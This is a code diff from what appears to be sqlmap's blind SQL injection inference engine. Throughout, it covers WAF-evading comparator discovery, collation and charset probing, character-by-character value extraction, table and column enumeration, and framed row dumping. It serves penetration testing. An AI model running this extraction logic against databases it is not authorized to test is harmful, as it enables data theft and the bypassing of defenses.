not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and \
not self._ask("%s=%s" % (w("'a'"), w("'A'"))):
self.dialect.binwrap = Cap(name, tmpl)
self.dialect.compare = "collation"
self.dialect.ordered = True
return "collation:%s" % name
if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and
not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and
not self._ask("%s=%s" % (w("'a'"), w("'A'")))):
continue
# BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT
# values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE)
# and ACCENTS (many collations are accent-insensitive). One that folds either is
# ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a
# folded value (trailing-space or accent folding) to EXACT.
if self._ask("%s=%s" % (w("'a'"), w("'a '"))): # trailing-space insensitive
continue
# accent test needs a char constructor to build the accented probe. If we HAVE one and
# it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are
# UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so
# it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter).
byte_exact = False
if cf:
if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))): # accent insensitive
continue
byte_exact = True
self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact)
self.dialect.compare = "collation"
self.dialect.ordered = True
if not byte_exact:
self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char "
"constructor) - used for ordering, not exactness")
return "collation:%s" % name
# 3) hex/byte function - collation-independent, recovers letter case even
# under case-insensitive collations (the key fallback when code fns are
# filtered by a WAF)
for name, tmpl in _HEXFN:
enc = self._hexEncoding(tmpl)
if enc:
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
if enc is not None: # '' = usable, codec unknown (auto-detect)
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
self.dialect.compare = "hex"
self.dialect.ordered = True
return "hex:%s" % name
@ -418,15 +471,35 @@ class _Discovery(object):
self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable")
return "equality-ci"
# STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1,
# !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary
# (2>2 must be FALSE) and would then read every count/length/code off by one. Each
# candidate must reproduce '>' at the equality boundary AND across zero and negatives.
_GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False),
(0, -1, True), (0, 0, False), (0, 1, False),
(-2, -3, True), (-2, -2, False), (-2, -1, False))
def _provesGt(self, render):
# render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches
# strict '>' on EVERY truth-table row (equality boundary + zero + negative domain).
try:
for a, b, want in self._GT_TRUTH:
if bool(self._ask(render(a, b))) != want:
return False
except OracleUndecided:
return False
return True
def _discoverComparator(self):
# how to express "value > threshold" for bisection. A WAF that strips '<'/'>'
# (very common) would otherwise leave code-mode picking '>' and silently
# failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall
# to order-free IN() subset bisection which needs only '=' membership.
HUGE = 1 << 62
try:
if self._ask("2>1") and not self._ask("2>3"):
if self._provesGt(lambda a, b: "%d>%d" % (a, b)):
self._comparator = "gt"
elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"):
elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)):
self._comparator = "between"
self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
elif self._discoverOperatorFreeComparator():
@ -442,8 +515,9 @@ class _Discovery(object):
def _discoverOperatorFreeComparator(self):
# Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN):
# each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the
# comparison operators instead of dropping to slow order-free membership. Ordered universal-
# first; each self-selects by a 3-point probe (2>1 true, 2>3/2>2 false). {expr}/{n} filled at use.
# comparison operators. Each must pass the FULL signed truth table (not a 3-point positive
# probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET
# with lo==hi at n=-1) is rejected instead of silently misreading signed values.
candidates = (
("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS
("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered
@ -453,7 +527,7 @@ class _Discovery(object):
("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB
)
for name, tmpl in candidates:
if self._ask(tmpl.format(expr=2, n=1)) and not self._ask(tmpl.format(expr=2, n=3)) and not self._ask(tmpl.format(expr=2, n=2)):
if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)):
self._comparator = name
self._cmpTemplate = tmpl
self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper())
@ -491,6 +565,28 @@ class _Discovery(object):
return name
self.dialect.charfrom = None
def _discoverCharset(self):
# ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a
# boolean oracle can read directly (a huge advantage over passive byte-guessing, which
# can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a
# name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the
# authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact.
with self._probePhase(): # a wrong-family charset expr errors -> skip
for expr in _CHARSET_PROBES:
try:
if not self._hasChars(expr):
continue
res = self.extractResult(expr, limit=64)
except OracleUndecided:
continue
if res.value and res.exact:
codec = _charsetCodec(res.value)
if codec:
self.dialect.charset = codec
self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec))
return codec
return None
def _discoverIdentity(self):
for kind, candidates in sorted(_IDENTITY.items()):
for expr in candidates:

177
extra/esperanto/engine.py
View file

@ -6,10 +6,13 @@ See the file 'LICENSE' for copying permission
"""
from .atlas import _FREQ_ORDER
from .atlas import _hardWarnings
from .atlas import _PRINTABLE_SORTED
from .atlas import _REPL
from .atlas import _unichr
from .records import Dialect
from .records import ExtractResult
from .records import OracleUndecided
from .oracle import _OracleCore
from .discovery import _Discovery
from .extraction import _Extraction
@ -50,10 +53,14 @@ class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
self._inOk = True # IN(...) usable (order-free subset bisection)
self._lastTruncated = False
self._discovered = False
self._nonExactNamesNoted = False # one-shot: enumerated-identifier-ambiguity note fired
self._castPreserves = None # cached: does the text cast preserve a canary accent?
self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
# undecidable probe there = "rung unusable" -> False; elsewhere (reading
# committed data) an undecidable probe stays undecided so it degrades loudly
self._progress = None # optional host callback(str) for live feedback
self._progress = None # optional host callback(str) for live per-VALUE feedback
self._charProgress = None # optional host callback(partial, total) for live per-CHARACTER
# feedback DURING a long extraction (so the user sees it working)
@property
def queryCount(self):
@ -63,49 +70,129 @@ class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
def hostExtract(oracle, strategy, expr, maxlen=4096):
"""Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
This is the proof that the strategy is a sufficient hand-off: it reproduces
char-by-char extraction with zero dependency on Esperanto's own retrieval code -
exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in
~30 lines. Covers the char-comparison modes (code / collation / ordinal /
equality); hex mode is reachable the same way via strategy.renderHex()."""
ask = lambda cond: bool(oracle(cond))
L = strategy.renderLength(expr)
if not ask("%s>=0" % L):
return None
if ask("%s=0" % L):
return ""
lo, hi = 1, min(8, maxlen)
while hi < maxlen and ask("%s>%d" % (L, hi)):
lo, hi = hi + 1, min(hi * 2, maxlen)
while lo < hi:
mid = (lo + hi) // 2
lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid)
length = lo
Proof that the strategy is a sufficient hand-off: it reproduces char-by-char
extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's
`bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders
through strategy.renderGt (the discovered comparator), so it survives a WAF that
strips '>' exactly as the engine does, and length is measured via the length fn OR,
when there is none, derived from the substring's end.
def read(pos):
mode = strategy.compare_mode
if mode == "code":
code = strategy.renderCode(expr, pos)
top = 0x10FFFF
for cap in (127, 255, 0xFFFF, 0x10FFFF):
if not ask("%s>%d" % (code, cap)):
top = cap
break
a, b = 0, top
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m)
return _unichr(a)
if mode in ("collation", "ordinal"):
cs = _PRINTABLE_SORTED
a, b = 0, len(cs) - 1
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
return cs[a]
for ch in _FREQ_ORDER: # equality scan
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
return ch
return _REPL
It covers the char-comparison modes (code / collation / ordinal / equality) with an
ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered
comparator) are NOT driven by this reference - it raises rather than silently
emitting an operator the dialect declared unusable or returning wrong data.
return "".join(read(i) for i in range(1, length + 1))
Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string:
an undecided host observation degrades to a FAILED result (never a manufactured bit),
a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an
UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity
FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof."""
HUGE = 1 << 62
def ask(cond):
# STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything
# else (None from a transport/undecided oracle) is NOT coerced to False.
r = oracle(cond)
if r is True or r is False:
return r
raise OracleUndecided("host oracle undecided: %s" % cond)
if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None):
raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference")
if strategy.comparator == "membership":
raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)")
def _run():
if strategy.length is not None:
L = strategy.renderLength(expr)
if not ask(strategy.renderGt(L, -1, HUGE)): # L >= 0: defined and non-negative
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE (a noisy oracle could disagree twice)
return ExtractResult(None, is_null=is_null, complete=is_null)
if maxlen <= 0: # non-empty but capped to nothing
return ExtractResult("", complete=False, truncated=True)
if not ask(strategy.renderGt(L, 0, HUGE)): # not L > 0 -> empty string
return ExtractResult("", complete=True)
lo, hi = 1, min(8, maxlen)
while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)):
lo, hi = hi + 1, min(hi * 2, maxlen)
while lo < hi:
mid = (lo + hi) // 2
lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid)
length = lo
truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE)) # a char past the cap
# FINAL EQUALITY (as the native integer reader does): the comparator is proven only on
# literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n)
# converges off-by-one. Confirm the length directly, else fail closed.
if not truncated and not ask("(%s)=%d" % (L, length)):
raise OracleUndecided("host length failed final equality")
else: # no length fn: derive from substring end
exists = lambda n: ask(strategy.renderCharExists(expr, n))
if not exists(1):
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE
return ExtractResult(None, is_null=is_null, complete=is_null)
if maxlen <= 0: # non-empty but capped to nothing
return ExtractResult("", complete=False, truncated=True)
lo, hi = 1, min(8, maxlen)
while hi < maxlen and exists(hi):
lo, hi = hi, min(hi * 2, maxlen)
while lo < hi:
mid = (lo + hi + 1) // 2
lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1)
length = lo
truncated = length >= maxlen and exists(maxlen + 1)
def read(pos):
mode = strategy.compare_mode
if mode == "code":
code = strategy.renderCode(expr, pos)
top = 0x10FFFF
for cap in (127, 255, 0xFFFF, 0x10FFFF):
if not ask(strategy.renderGt(code, cap, HUGE)):
top = cap
break
a, b = 0, top
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m)
# FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code
# fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by-
# one even when the code fn is codepoint-faithful. Confirm directly, else fail.
if not ask("(%s)=%d" % (code, a)):
raise OracleUndecided("host code failed final equality")
return _unichr(a)
if mode in ("collation", "ordinal"):
cs = _PRINTABLE_SORTED
a, b = 0, len(cs) - 1
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
return cs[a]
for ch in _FREQ_ORDER: # equality scan
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
return ch
return _REPL
value = "".join(read(i) for i in range(1, length + 1))
warns = ["contains unresolved char"] if _REPL in value else []
if strategy.compare_mode == "equality-ci":
warns.append("lossy equality collation: case/accents ambiguous")
# WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point
# semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a
# rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed
# against the source rather than trusted because the code fn is faithful.
needs_verify = not truncated and _REPL not in value
if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))):
warns.append("whole-value verification failed")
return ExtractResult(value, complete=False, truncated=truncated, warnings=warns)
# mirror the native EXACT gate: without a proven byte-exact witness (hex / binary /
# codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to
# collation-dependent plain '=' which cannot certify byte-exactness.
if value and not truncated and _REPL not in value and strategy.exact_witness is None:
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
truncated=truncated, warnings=warns)
try:
return _run()
except OracleUndecided:
return ExtractResult(None, complete=False, warnings=["host oracle undecided"])

425
extra/esperanto/enumeration.py
View file

@ -21,6 +21,7 @@ from .wordlist import commonColumns
from .wordlist import commonTables
_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away
_MEMBERSHIP_PAGING_BUDGET = 8192 # max rendered NOT IN() fragment before stopping (partial) - it grows per row
# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump)
_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax"))
@ -86,10 +87,11 @@ class _Enumeration(object):
continue
tries += 1
try:
# probe the column BARE (not quoted): a nonexistent bare column errors,
# whereas a double-quoted unknown is silently taken as a STRING LITERAL
# on SQLite -> would pass every fake name. COUNT-free (WAF may filter it).
if self._exists(qtable, col):
# probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare
# column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would
# pass every fake name), and the alias stops a candidate that is really a
# KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe).
if self._exists(qtable, col, alias="e"):
found.append(col)
self._emit(col)
except OracleUndecided:
@ -102,8 +104,12 @@ class _Enumeration(object):
col, src, filt = self.dialect.catalogEnum[kind]
clauses = [filt] if filt else []
if schema is not None and "schema" in self.dialect.catalogEnum:
scol = self.dialect.catalogEnum["schema"][0] # table_schema / OWNER / schemaname
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1]
# the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate
# table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas)
# so `name=<schema>` on sys.tables would match table NAMES - skip it, don't corrupt.
if ssrc == src:
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "")
def enumerateKeyset(self, kind, limit=10, schema=None):
@ -134,12 +140,31 @@ class _Enumeration(object):
try:
if not self._ask("%s IS NOT NULL" % expr):
break
name = self.extract(expr)
res = self.extractResult(expr) # complete-or-stop: a partial name is a bad keyset bound
except OracleUndecided:
self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)")
break
if not name or name == prev:
if not res.complete: # incomplete (truncated / unresolved / unverified) name is
self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)")
break # an unsafe keyset bound - a soft case/accent warning still passes
name = res.value
if not name:
break
if name in names:
# revisiting an already-listed name (not just the immediate predecessor) means the
# paging bound and the recovered spelling disagree - e.g. the keyset compare and
# the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e...
# Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates.
self.dialect.notes.append("enumeration stopped: identifier %r revisited "
"(paging/read-back collation mismatch) - list may be partial" % name)
break
if not res.exact and not self._nonExactNamesNoted:
# the name paged correctly (the walk uses the engine's OWN collation, so a
# case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT
# proven - flag it, since a caller may reuse the name as an exact SQL identifier.
self._nonExactNamesNoted = True
self.dialect.notes.append("enumerated identifiers are case/accent-approximate "
"(no byte-exact primitive) - exact spelling not proven")
names.append(name)
self._emit(name) # live feedback per discovered name
if _REPL in name:
@ -163,9 +188,18 @@ class _Enumeration(object):
return "%s>%s" % (expr, bound)
if self._comparator == "between" and unit == "int":
return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev)
if self._cmpTemplate is not None and unit == "int": # operator-free ordered rung
return self._cmpTemplate.format(expr=expr, n=prev) # "expr > prev" without '>'
if self._inOk and seen:
lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen)
return "%s NOT IN (%s)" % (expr, lits)
frag = "%s NOT IN (%s)" % (expr, lits)
# NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a
# rendered-size budget, stop with a PARTIAL result + note rather than emitting an
# ever-larger request (and never let one un-renderable literal poison the walk).
if len(frag) > _MEMBERSHIP_PAGING_BUDGET:
self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)")
return None
return frag
return None
def hasTable(self, table, schema=None):
@ -188,6 +222,8 @@ class _Enumeration(object):
return None
schemacol = ce["schema"][0]
namecol, source = ce["table"][0], ce["table"][1]
if ce["schema"][1] != source: # schema lives in a SEPARATE catalog view (MSSQL
return None # sys.schemas) - can't co-query it against sys.tables
# prefer a non-system schema (a system table could share the name)
excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema",
"SYS", "INFORMATION_SCHEMA", "pg_toast")
@ -196,7 +232,9 @@ class _Enumeration(object):
expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail)
try:
if self._ask("%s IS NOT NULL" % expr):
return self.extract(expr)
res = self.extractResult(expr) # a SCHEMA NAME becomes a qualifier -> require EXACT
if res.exact and res.value:
return res.value
except OracleUndecided:
break
return None
@ -211,6 +249,13 @@ class _Enumeration(object):
return name
return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1])
def qualify(self, table, schema=None):
"""The quoted, optionally schema-scoped table reference used for a dump - the SAME
expression for count, key discovery, and row retrieval, so a non-default schema can't
make the count query hit a different (unqualified) table than the dump."""
qt = self.quoteIdent(table)
return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt
def _ensureQuoting(self, table):
# discover the identifier-quote style using the (known-present) table:
# the wrong quote char makes SELECT ... FROM <quoted> error -> reject
@ -287,9 +332,9 @@ class _Enumeration(object):
with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal
present = self._ask("%s IS NOT NULL" % keyexpr)
if present:
name = self.extract(keyexpr)
if name:
return name
res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value
if res.exact and res.value: # (a case-ambiguous name could mis-target)
return res.value
return None
def columnType(self, expr):
@ -312,17 +357,43 @@ class _Enumeration(object):
return "unknown"
def _classifyUnit(self, keyexpr, qtable):
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque
# text (extract + literal bound)
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text
# (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or
# decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5
# both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort:
# - strict engines: `text = <int>` ERRORS -> text (probe phase reads False)
# - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text
# - a genuine integer N round-trips `expr = N` -> int
# all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'.
q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable)
if self._comparator == "between":
# numeric range holds only for a number (text sorts outside it in SQL)
if self._ask("%s BETWEEN -9223372036854775808 AND 9223372036854775807" % q):
if self._comparator == "membership":
return "text" # no ordered numeric compare -> literal-bound text
with self._probePhase(): # a numeric comparison on a TEXT key ERRORS on strict engines -> False
if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)):
return "text" # not comparable as a number (or NULL)
try:
n = self.extractInteger(q) # signed, via the discovered comparator
except (OracleUndecided, OverflowError):
return "text"
# 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts
# as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or
# '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts
# with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`).
if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q):
return "int"
elif self._comparator == "gt":
if self._ask("%s>=0" % q) or self._ask("%s<0" % q):
return "int"
return "text" # membership/undecided: safe to treat as literal-bound text
return "text"
def _looksNumeric(self, expr):
# first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter).
# rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't
# refute -> keep the numeric verdict (never break a real int on a substring-less floor).
if self.dialect.substring is None:
return True
try:
one = self._sub(self._resolveText(expr), 1, 1)
return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one)
except OracleUndecided:
return True
def _discoverRowid(self, qtable):
# find a MIN-aggregatable physical row identifier for the (already-quoted)
@ -344,14 +415,30 @@ class _Enumeration(object):
return Cap(name, rid, unit=unit)
return None
def _walkKey(self, qtable, table, schema):
def _keyIsUnique(self, kexpr, qtable, total=None):
# a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev`
# paging silently DROPS rows: a composite key's first column repeats (skipping the
# shared-value rows), and NULL keys sort outside the walk. Verified against the DATA
# (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total -
# so it holds regardless of how the constraint catalog was joined.
try:
if total is None:
total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable))
except (OracleUndecided, OverflowError):
return False
return total is not None and distinct is not None and total == distinct
def _walkKey(self, qtable, table, schema, total=None):
# ordering key, best-first: primary/unique key -> physical row-id -> value.
# returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset
# comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral).
key = self._discoverKey(table, schema)
if key:
kexpr = self.quoteIdent(key)
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
if self._keyIsUnique(kexpr, qtable, total):
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key)
rid = self._discoverRowid(qtable)
if rid is not None:
boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral
@ -359,23 +446,40 @@ class _Enumeration(object):
return None, None, "value", self.buildLiteral
def _rowPayload(self, cols):
# one hex-framed, NULL-PRESERVING token per column, joined by ','. token
# grammar: 'N' = SQL NULL, 'V'+hex = non-NULL value ('V' alone = empty
# string). the marker is required because COALESCE(col,'') collapses NULL and
# empty - and on Oracle the '' fallback is itself NULL. needs hex framing.
# one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist,
# each token embeds an INDEPENDENT character-length witness and a terminal marker:
# V<charlen>:<hex>; (value) N; (SQL NULL)
# so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a
# token whose decoded char count != the declared source length, or whose ';' is missing).
# Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a
# DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn /
# cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but
# the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row.
if not self._ensureHexfn() or not self.dialect.concat:
return None, False # can't frame a whole row -> caller scavenges cell-by-cell
self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast)
if not self._rowLenFramed:
self.dialect.notes.append("row framing without a length witness (no length fn/cast) - "
"a capped hex/concat could shorten a cell undetected")
parts = []
for c in cols:
qc = self.quoteIdent(c) # column names are identifiers, not raw SQL
# text-cast before hex so a numeric/date column yields its TEXT form, not
# DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001)
text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc
marked = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=text))
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
hexed = self.dialect.hexfn[1].format(expr=text)
if self._rowLenFramed:
lenstr = self.dialect.textcast[1].format(expr=self._len(qc)) # source CHAR length as text
body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"])
parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body))
else:
marked = self.dialect.concat[1].format(a="'V'", b=hexed)
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
if self._rowLenFramed:
return self._concatMany(parts), True # tokens self-terminate with ';'
interleaved = [parts[0]]
for p in parts[1:]:
interleaved.append("','") # the ',' row-token delimiter
interleaved.append("','") # the ',' row-token delimiter
interleaved.append(p)
return self._concatMany(interleaved), True # flat when concat is variadic
@ -393,14 +497,45 @@ class _Enumeration(object):
return row, True
def _splitRow(self, data, ncols):
# returns (row, valid); a malformed token count/marker means invalid, never
# a silently padded/truncated plausible row
# returns (row, valid); a malformed token count/marker/length means invalid, never
# a silently padded/truncated plausible row.
# framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset
# (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so
# use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes).
if data is None:
return None, False
toks = data.split(",")
# EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now
# the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness
# check below consumes, so decode and integrity never disagree.
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
if getattr(self, "_rowLenFramed", False):
# V<charlen>:<hex>; / N; -> every token MUST carry its terminal ';' and (for a value)
# decode to EXACTLY the declared source char length; a capped hex/concat fails one.
if not data.endswith(";"): # a truncated final token dropped its terminator
return None, False
toks = data.split(";")
if toks and toks[-1] == "":
toks = toks[:-1] # drop the trailing terminator
if len(toks) != ncols:
return None, False # a truncated final token loses its ';' -> count off
vals = []
for t in toks:
if t == "N":
vals.append(None)
continue
if not t.startswith("V") or ":" not in t:
return None, False
lenpart, _, hexpart = t[1:].partition(":")
if not lenpart.isdigit():
return None, False
v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc)
if v is None or len(v) != int(lenpart): # INDEPENDENT length witness: decoded != source
return None, False
vals.append(v)
return vals, True
toks = data.split(",") # plain grammar (no length witness available)
if len(toks) != ncols:
return None, False
enc = self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None
vals = []
for t in toks:
if t == "N":
@ -424,9 +559,7 @@ class _Enumeration(object):
text-cast extraction. Completeness is checked against COUNT(*). Returns
{columns, rows, complete, keyed_by}."""
self._ensureQuoting(table)
qtable = self.quoteIdent(table)
if schema is not None:
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
qtable = self.qualify(table, schema)
cols = columns or self.columns(table, schema)
if not cols:
return None
@ -435,25 +568,28 @@ class _Enumeration(object):
self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table)
try:
expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
except OracleUndecided:
except (OracleUndecided, OverflowError): # unknown/huge count -> walk up to `limit`, not a failure
expected = None
if expected == 0:
return {"columns": cols, "rows": [], "complete": True, "keyed_by": None}
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema)
return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None}
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected)
rows, ok = [], True
def readrow(where):
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell.
# if the framed whole-row read doesn't verify (some engines choke on the big
# nested CONCAT or its verification, e.g. SQL Server), degrade to reading each
# cell on its own rather than dropping the row
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The
# framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload),
# so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or
# errored framed read degrades to cell-by-cell (which reads each cell at its true length,
# so it cannot be cast-truncated) rather than dropping the row.
if framed:
try:
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES)
if res.complete:
return self._splitRow(res.value, len(cols))
row, ok2 = self._splitRow(res.value, len(cols))
if ok2:
return row, ok2
except OracleUndecided:
pass # framed whole-row read errored (big nested CONCAT) -> cell-by-cell
pass # framed whole-row read errored -> cell-by-cell
return self._cellRow(qtable, cols, where)
